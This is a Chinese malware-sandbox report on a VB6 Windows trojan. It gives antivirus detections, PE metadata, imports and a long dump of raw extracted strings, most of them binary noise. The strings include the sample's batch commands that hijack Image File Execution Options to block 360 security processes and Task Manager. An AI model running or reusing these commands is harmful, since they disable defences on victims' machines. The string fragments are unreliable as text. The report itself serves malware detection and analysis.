1.1
低危

1f22a1248bdc07a13f0ba8f562bd0e9b85093d278f4d84e6c737ce3b2da06b96

1f22a1248bdc07a13f0ba8f562bd0e9b85093d278f4d84e6c737ce3b2da06b96.exe

分析耗时

194s

最近分析

364天前

文件大小

1.2MB
静态报毒 动态报毒 CVE FAMILY METATYPE PLATFORM TYPE UNKNOWN WIN32 TROJAN FSYSNA
鹰眼引擎
DACN 0.12
FACILE 1.00
IMCLNet 0.72
MFGraph 0.00
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
Alibaba virus:Win32/InfectPE.ali2000007 20190527 0.3.0.5
Avast Win32:TrojanX-gen [Trj] 20240201 23.9.8494.0
Baidu None 20190318 1.0.0.2
CrowdStrike win/malicious_confidence_100% (W) 20231026 1.0
Kingsoft malware.kb.a.955 20230906 None
McAfee Trojan-FQXU!6085FD03EAF7 20240201 6.0.6.653
Tencent Trojan.Win32.Fsysna.a 20240201 1.0.0.1
静态指标
行为判定
动态指标
在 PE 资源中识别到外语 (1 个事件)
name RT_VERSION language LANG_CHINESE filetype None sublanguage SUBLANG_CHINESE_SIMPLIFIED offset 0x0000a9a4 size 0x0000024c
网络通信
与未执行 DNS 查询的主机进行通信 (2 个事件)
host 114.114.114.114
host 8.8.8.8
文件已被 VirusTotal 上 63 个反病毒引擎识别为恶意 (50 out of 63 个事件)
ALYac Trojan.Agent.DVQW
APEX Malicious
AVG Win32:TrojanX-gen [Trj]
AhnLab-V3 Trojan/Win32.Fsysna.R269415
Alibaba virus:Win32/InfectPE.ali2000007
Antiy-AVL Trojan/Win32.Fsysna.fccr
Arcabit Trojan.Agent.DVQW
Avast Win32:TrojanX-gen [Trj]
Avira TR/Dropper.Gen
BitDefender Trojan.Agent.DVQW
BitDefenderTheta AI:Packer.102164641F
Bkav W32.AIDetectMalware
CAT-QuickHeal Trojan.AgentVMF.S20099793
ClamAV Win.Malware.Fsysna-7004456-0
CrowdStrike win/malicious_confidence_100% (W)
Cybereason malicious.8ca1fb
Cylance unsafe
Cynet Malicious (score: 100)
DeepInstinct MALICIOUS
DrWeb Trojan.KillFiles.64121
ESET-NOD32 Win32/KillFiles.A
Elastic malicious (high confidence)
Emsisoft Trojan.Agent.DVQW (B)
F-Secure Trojan.TR/Dropper.Gen
FireEye Generic.mg.6085fd03eaf78880
Fortinet W32/Fsysna.FCCR!tr
GData Win32.Trojan.Musecador.A
Google Detected
Gridinsoft Virus.Win32.Gen.ka!i
Ikarus Trojan.Agent
Jiangmin Trojan.Fsysna.kfk
K7AntiVirus Trojan ( 0000bbc81 )
K7GW Trojan ( 0000bbc81 )
Kaspersky Trojan.Win32.Fsysna.fcpq
Kingsoft malware.kb.a.955
Lionic Trojan.Win32.Fsysna.tpPg
MAX malware (ai score=80)
Malwarebytes Generic.Malware.AI.DDS
MaxSecure Trojan.Fsysna.fcpq
McAfee Trojan-FQXU!6085FD03EAF7
MicroWorld-eScan Trojan.Agent.DVQW
Microsoft Trojan:Win32/Musecador
NANO-Antivirus Trojan.Win32.Fsysna.fpivmo
Panda Trj/Genetic.gen
Rising Worm.KillFile!1.B91B (CLASSIC)
Sangfor Suspicious.Win32.Save.vb
SentinelOne Static AI - Malicious PE
Skyhigh BehavesLike.Win32.Generic.tt
Sophos Troj/VB-KNV
Symantec Trojan Horse
可视化分析
二进制图像
数据导入图像 288x288
数据导入图像 224x224
数据导入图像 192x192
数据导入图像 160x160
数据导入图像 128x128
数据导入图像 96x96
数据导入图像 64x64
数据导入图像 32x32
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手,可以帮您分析和解读恶意软件报告。请随时向我提问!

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

2019-04-20 18:22:04

PE Imphash

d2bf2bc66c5e49a85254cd29b19046bd

Sections

Name Virtual Address Virtual Size Size of Raw Data Entropy
.text 0x00001000 0x00007df0 0x00008000 6.058616924670466
.data 0x00009000 0x00000b40 0x00001000 0.0
.rsrc 0x0000a000 0x00001000 0x00001000 4.416328167746471

Resources

Name Offset Size Language Sub-language File type
RT_ICON 0x0000a0e8 0x000008a8 LANG_NEUTRAL SUBLANG_NEUTRAL None
RT_GROUP_ICON 0x0000a990 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL None
RT_VERSION 0x0000a9a4 0x0000024c LANG_CHINESE SUBLANG_CHINESE_SIMPLIFIED None

Imports

Library MSVBVM60.DLL:
0x401000 _CIcos
0x401004 _adj_fptan
0x401008 __vbaStrI4
0x40100c __vbaVarMove
0x401010 __vbaAryMove
0x401014 __vbaFreeVar
0x401018 __vbaStrVarMove
0x40101c __vbaLenBstr
0x401020 __vbaFreeVarList
0x401024 __vbaEnd
0x401028 _adj_fdiv_m64
0x40102c __vbaFreeObjList
0x401030 _adj_fprem1
0x401034 __vbaStrCat
0x401038 __vbaError
0x40103c __vbaSetSystemError
0x401044 _adj_fdiv_m32
0x401048 __vbaAryDestruct
0x40104c __vbaExitProc
0x401050 __vbaVarForInit
0x401054 None
0x401058 None
0x40105c __vbaObjSet
0x401060 __vbaOnError
0x401064 _adj_fdiv_m16i
0x401068 _adj_fdivr_m16i
0x40106c None
0x401070 _CIsin
0x401074 __vbaErase
0x401078 __vbaChkstk
0x40107c __vbaGosubFree
0x401080 __vbaFileClose
0x401084 EVENT_SINK_AddRef
0x40108c None
0x401090 __vbaAryConstruct2
0x401094 __vbaPutOwner4
0x401098 __vbaI2I4
0x40109c DllFunctionCall
0x4010a0 __vbaFpUI1
0x4010a4 __vbaRedimPreserve
0x4010a8 __vbaStrR4
0x4010ac _adj_fpatan
0x4010b4 None
0x4010b8 __vbaRedim
0x4010bc EVENT_SINK_Release
0x4010c0 __vbaNew
0x4010c4 None
0x4010c8 __vbaUI1I2
0x4010cc _CIsqrt
0x4010d4 __vbaUI1I4
0x4010d8 __vbaExceptHandler
0x4010dc __vbaPrintFile
0x4010e0 __vbaStrToUnicode
0x4010e4 None
0x4010e8 _adj_fprem
0x4010ec _adj_fdivr_m64
0x4010f0 __vbaGosub
0x4010f4 None
0x4010f8 __vbaFPException
0x4010fc None
0x401100 __vbaGetOwner3
0x401104 __vbaStrVarVal
0x401108 __vbaVarCat
0x40110c __vbaGetOwner4
0x401110 __vbaI2Var
0x401114 __vbaLsetFixstrFree
0x401118 None
0x40111c _CIlog
0x401120 __vbaErrorOverflow
0x401124 __vbaFileOpen
0x401128 __vbaVar2Vec
0x40112c __vbaNew2
0x401130 None
0x401134 None
0x401138 None
0x40113c _adj_fdiv_m32i
0x401140 _adj_fdivr_m32i
0x401144 None
0x401148 __vbaStrCopy
0x40114c __vbaVarSetObj
0x401150 __vbaFreeStrList
0x401154 __vbaDerefAry1
0x401158 _adj_fdivr_m32
0x40115c _adj_fdiv_r
0x401160 None
0x401164 None
0x401168 __vbaVarTstNe
0x40116c None
0x401170 __vbaI4Var
0x401174 __vbaVarAdd
0x401178 __vbaAryLock
0x40117c __vbaVarDup
0x401180 __vbaStrToAnsi
0x401188 __vbaFpI4
0x40118c __vbaVarCopy
0x401190 None
0x401198 _CIatan
0x40119c __vbaStrMove
0x4011a0 __vbaStrVarCopy
0x4011a4 _allmul
0x4011a8 __vbaLenVarB
0x4011ac _CItan
0x4011b0 __vbaAryUnlock
0x4011b4 __vbaFPInt
0x4011b8 __vbaVarForNext
0x4011bc _CIexp
0x4011c0 __vbaFreeStr
0x4011c4 __vbaFreeObj

L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
3964344A5F101BBA10AF84388155DFBD
1FD3607D4327B50EB6EDDABE78C6FA87
D1B2D8671EFC317E434137437EEF4A96
370027142FF336DDB2EE9E351C47EDA5
D47BD13313C220FC81E2540FDD038E6A
4C247094201EB65DE12AA17F20575ED9
7EAE529F10C8EA87C8CADCC469D1CE76
CE9ADAC29177BF143E24B1BCE2A0859C
5BB894201EF96C9C75AE3F22DD9BEB74
B3238B574B3390358ED3AC8F60226CCD
9FEBFDDC3BFD3D2FCB45F7F1D8FF39E7
199350BB6558935F20C7C2ACB1D2A315
065AC7FCDA71AF7905F67307B1E0131F
184806EBCFA7D9D66674D0362DFDA9FC
B30CD0A83AF9B887FDCB16B4059078D4
0D4261D61956CCBFEC24C5D476B6C801
25A99EB4214CFE27E51E3F9CD7097407
E24026E736358CD755DF447A99406D3A
HH;s+]
SV393u
WuuSMuuuSM,u
uuSMPuuSMptSl|uSx
MMJMMM*M_M^[d
SW39tb9_
t]V]]WM]
SW39tb9_
t]V]]WM]vj
SW39tb9_
t]V]]WM];j
SV393th9s
tcuuSMuY9s$t@j
t>EEVMEqE
(VW39>t^9~
tY}}VM
}}}VME
1`7_^U
187_^-
PQ _|%f}
NYYu^]
Sn_^[]
VVMF$t1D
9u_N$t
VVM=F,
<uN,_t
VVM2F0t-
SCYYPu
P+PS$u
S3V^8^<^@W=T
^$^(^,^D^H^L^P^T^X^\^`^d^h
Xlh@Pj\X=~
Xl[h@Pj\X~
;}/Php
SW39;}
}}SM}9{
X]LTD8<P4E
TT;|gPh
T1;|DT;t
SVWXE3Vh
XuPTH@DS<E
SVWE+3Vh
G$Ph\2
G(Ph@2
G,Ph(2
p[$;th38j
Y}83t4u9HE
SVWXE3Sh
TY|?Tt
9U>_^J
9-N 9#N
VW39>tR9~
tMS}}VM}E
VW39>tR9~
tMS}}VM}mE
VW39>tR9~
tMS}}VM}
VW39>tR9~
tMS}}VM}
VW39>tR9~
tMS}}VM}E
SVWXE3Vh
VW39>tR9~
tMS}}VM}E
XEH3Sh
X]PTH48@0E
;|\9Tt\T@D
;|DT;t
DWXH3Sh
3;@tcH@`
;|DT;t
VWWMjw
MtFW>p
SVWXEH3Sh
WT;|DT;t
SVWXEO3Vh
XuPTH<@S8E
VT|FTt
SVWXE 3Wh
F Ph4E
T |?Tt
TWXE-3Ph
XEPHTVhtF
3Dt^Dp
PTW;|FPt
VW39>tR9~
tMS}}VM}
VW39>tR9~
tMS}}VM}
VW39>tR9~
tMS}}VM}}E
SVWXEG3Sh
X]TPLD
;|A9DH
b|M_^d
L@[L;t
;|N9LtRL@L;t
VW39>tR9~
tMS}}VM}
UQQSV5
VVPVPVVVVVV
PSPVPP
;u?SVP
M_^[T(
S4PW0,
;YtajfY3
,S4P,0
SVW3S8QLQS<QEE
,PHPSh?
SLPSP0
;u`@S8PLPS<PP@D8<
QQWVWWWPh
jd4PjdWh,
PPWVWWW
Yu3YYu
iM_^[b
It{It9I
u`Y3@M_^[s
UQVWju
f}@5po
Wj'Y3d
Wj'Y3df!ldPj
VEP3EPVh?
uYEPEPEPVu
uGEPEPEPVu
UQSVWPo
3Ct&90t
EPShhL
EPShDL
EPShhK
EPSh<K
Ht}HtfHtOHt2Ht
S3VW]]o
]*]]]VME
uM6VMZ^5
M]A^MM\M_^[d
UQV3VEPVh
SV3f90u
utGf=#
f;u9uu#S
f;u3f;.uu>
Y?nt6Ht
VXPjdj
ZXXZ3@^
SVXEqm3j
D8PHSa
D38Q@PWTL
DX8QPWTL
DX8QPWTL
X8QPWT
D8PSWT
D38Q@PWTL
DX8QPWTL
DX8QPWTL
DX8QPWTL
X8QPWT
P4WTSPh
4PPWTPh
SuPHPh
VWXTcjd_
SXP3hl
H<PVLa
H3<Q@PWTP
HX<QPWTP
HX<QPWTP
HX<QPWTP
HX<QPWTP
X<QPWT
VWXT\ajd_
H<PVLa
H3<Q@PWTP
HX<QPWT
HX<QPWTP
HX<QPWT
HX<QPWT
HX<QPWT3C@P
X<QPWT@
<8O<D0QPhM
@PqG|2F
VS^_3[]
VWEZ3X}uZ`jZ_ZTZ(IZ
((7F&F
FXXEEM_d
SVWXEX3}XWWh
S!t!xho
SW3EX\ho
T}J<;u
=((=XX=
=``n=]=MT
VXE.P3j
*9;u)E
y4XX7_[Md
VXEJ3j
#4;u)HE
3;v:9,
XPt9(
3+tSHt=Ht'Ht
?3_[Md
PQXP E
H@@<RQP
XTI@5|o
@4PDSa
@34Q@PWTH
@X4QPWTH
@X4QPWTH
@X4QPWTH
@X4QPWTH
X4QPWT
PLWTSPh
LPPWTPh
SuPHPh
tKWPhI
X6PXP$09H
vLWPhQ
XP4XP,9x
vLWPhJ
XPXP|,9
vLWPhK
XPXP(,9
vLWPhL
XP8XP,`
#tiWPhM
XPXPc
#XX#M^d
XT63SjdX]W"j
tVWXPhN
t!tVWXPhO
PTXPV|
!tOWXPhP
QTPP09Lt0WXPh[
PTXPV @]bX
t!M_^d
WXT(A4F
(v1Wjd(E
4/X}&/E
VPjdWkX
VXPjrW[X
j0d5po
VXPjdWW
VPjdWE
VXPjrW%W
j0d5po
3@M_^d
VXPjdWE
$`Y`VPhs
VXPjdWE
,j0d4W
X/)($)
V(PjdWE
j04dW
SVW33G;EE
xPPtPS|t
(&]&&X&
V(PjdSE
(R#X}D#9#
3@M_^d
W3WS S
EPuWSj
3uLPho
PjgYYj
;tc90t_Vj
VPjdS@
}*VXPjrj
j0d5po
VPjdSY?
PP}*VXPjrj
j0d5po
VPjdS&>
P}*VXPjrj
j0d5po
VPjdS<
P;})VXPjrSX<
j0d5po
+tGHt5Ht#Ht
df8hCVXPhO
+VXPhN
V(PjdWE
VPjrWN9
j045po
YY2XX!
(PXch`Q
(PXh`Q
((wXXfM_^d
df0\Ph
uijdhQ
9hv=LPPPTPXPhQ
Vjn[hQ
f04V5po
XX((|``kZI8Md
u<EPSj
UDSVWh
EEP5po
W3WuEP
E+EWPE+EPE+E
EPW5to
+V4YJ\`
+Vs;5``
3_^[;5l`
SWE30}j
f8@@f98uVW
Wd45po
X``UV`Ph
V(PjnW%
Wld5po
9,(t hR
Xb(WV(Ph
V`PjnW#
W4d5po
((JXX9(
P3Vh<L
M3Fx5Ho
VVWUYu\3A9
VVdV5po
vTl3|j
WXPjdVE
Vd5po
jqYYxMh
WPjd3VE
WXPjiV
j0d5po
W(PjdVE
ddP+@j
XXn]L((;3VVh/
;t?95o
SWPj5|o
SXPjlVE
S(PjdV3
PWdPo095
((XXMl
W3WWEE
uK\Ph`
`PWh4S
v*GGf? w f="
dGtpWq
dstpW,
W'@Pj.} =o
&39u9=o
4PjsWc
NYYShN
t7ShTN
YYShTN
t7Sh(N
YYSh(N
V4Pjd3W
FYYShN
t7ShTN
YYShTN
t7Sh(N
~YYSh(N
twf}66
t7ShTN
YYShTN
t7Sh(N
PYYSh(N
uG`P3PPh
Wdt@Pj d~
lPjfVz
fd[PM_^[w
fDV*^]
_3_^[]
URuPQT|+}
URuPQT|+}
U SVW3S
UREuTq
|P9]tKEP]
PQHE;t
dE{VdXpG
YYu#9`u
YM_^[m
PqXPWV6
W3}X(hZ
`((OXX>-
S df8o
VXWWPX>Yo
;t=PhxU
VX`WWPXXo
;t=PhHU
WWPXXo
VXWWPXlXo
;t=PhT
VXWWPX&Xo
;t=PhT
VXHWWPXWo
;t=PhT
WWPXW9ht_hxT
WWXP(GW4hDT
CdDdPWphZ
804W,E
;LtHXP
P0XPht\
8;t1XQ
PXPh`\
D;t1XQ
PXPhL\
H;t1XQ
PuXPh4\
P;Lu<;
P;Lu8;t+hD[
TD;t+h
TH;t+hZ
XET,23
40TPh^
,YYP;H
SVWXET
P0DPh^
SyYY^W3Gt
t+Ht!Ht
+t+Ht!Ht
YYhPd
PiK -f
Y|jv(T,u
WpVWis
WJ3098
RPTDHQv<Ph0s
YYhPd
VXJOuXP
7v!;hs
XX{M_^d
3SEEEA
E0EPhx
SV3;WE
WVW37(
W/YYhPd
WLVWEs
WYY3M_^d
SVW3;E
@PaPh0
YYt"7h
WSm0Xe
@Pj\y~
y3M_^d
PX4XPhx
PXyXPhx
PX$XPhx
PXiXPhx
P(lh,T
\ 3*qM_^d
E0EPh0
E0EPh0
YY^ltD`
W~VWws
WSYY3_^
PX:zXPh
PXyXPh\
dXXd$b
YYhPd
3((*`M_^d
XHTPrHPhH
PV;YYt
PVh;YYt
PV<;YYt
PX`lHXPh
V@YYh
XPVWV^h
XPViWV
X3M_^d
WXTDk3
Hu3d(hh
TYYh,T
nT``]T\
T#YYh,T
SS((SXXSM_^d
ZN48V0E
NLPVHE
NptVlE
2O@DV<E
hO(,V$E
OdhV`E
PX\VTE
|q!|^%|K=Pq
Wffffff
YY]j`h
3{FF3f
FFW](j
w\SVP9
YE;t:FHE;r
9}uX;u
E;t0FHE;r
9}u";u
EE;u`9=t
3CSVW5`
UQQSVWd5
SVWE3PPPuu
E_^[E]
USVWUj
P(RP$R
t5|$(t
;t$(v(4v
UQPXY]Y[
@@fu+E
fSt8+f
@@fu3[_]
@@fufM
HLNLHPNPP3Y`
vPVLPQE
Y3^_[]
AABBM
tJf9}tDf9Et<}
3F95xr
3MYY[]
31YY[]
SVEW3;
@u+@<v)P
UQSVW>
<"u>"u
3Y[^_5Xr
@B8\t8"u&
UQQSVW39=
W33;u.
;tuf9t
SSS+S@PWSSE;
;YEt!SSuPuWSS
uGY]]W
;rSVWEP
YYt(V5
PYF,;t
PYF4;t
PYF<;t
PYFD;t
PYFH;t
PYFT=pa
Y}F`E;t
FdE;tM
YYt+V5
3@^p3^
3]3@]h
+SVWEePEEEEd
Y_^[QVC20XC00U
33333]^]
]_^[]UL$
f;rof=p
f;r_f=Z
f;rOf=
rBPf;rAf=*
f;r1f=J
f;r!f=
3"p@d;
VDYYFu
WYYuf_]h0
PyYYtF
YYGG3f
YfdtSfitMfotGfxtAfXu
1ht lt
g~Bit!n
(j-_f;u
YtdV(PW
GGf?^u
f]t`FFf9s
jx^f;tZfXtT
S~YYj0[
ptBuf%
F$|3@_^
k3Y@_^]
W3;u4DP
MOI;|9M
WI <}}
MLD3#um
#Mj _^{
;]r;]u&
]#\D\D
FF@@u3
YYE@xE@|EpxM
EE8csmu%Ex
EPQ3VW
GuRYMHxMH|>csmu6~
tu$u u
WEPEPVu u
;EsVS;7|B;w
;Er[_^
Wcsm9>
}EPEPWu u
(u$u ]u
VYY_^[
u u$u uu
tP8csmu,9x
U$Ru u
P 3@_^]j
VW_^]M
It7ht&lt
HHtxHHtt
@@@u3@t
t-RPWS
CYCY~9PM
PvCC>Yt
j ^f;r
It6ht&lt
}]UZtg
@@@u3@t
t-RPWSH/
uH80t8
A80t.F
EVM(^[
uMSW<t
D=VP YYtG;|fE
YYM_^[@=
r$$w@
W=YEMT
tc;t_F,98uXF4;t
YYF0;t
YYv,}v<uYYF@;
PZvDRYYFP;
vP+YYV#Y_^]
3;t/A,
QoYFd^j
W>+~'WPv
7Y}3u;5@
tVPVDYY3BU y
qtb+tG
VbtFHt+
Y]3u;5@
4VYY y
GIt%t)
Gt/KuD$
GKu[^D$
VPVPV5v
@;rD3Ar
@;vAAy
YE;uo>
EtVMf9MZ
_^[j$h
33F9=lu
u2EPVh|
M3F]39}u
SVeYYE;tuWWSuu
P}YEtnu
fNPSuu
E_WEPE
UDSVWj
E3;}M]
@@Ju;t
;tD9]u?8\
EPSRWjQSv
M_^[.x
BG;U|E
EPSSSjQSv
;F(r(8_
t#F(39]
DDDDDDDDDDDDDD
;|P+;E
ue9t-j
*09)Y+
s9~(~
j YjY+
VWj Y}
PjY+3BR0H%
Yj^+3B
QP4YYu
<+3E_^[
|3@]3]
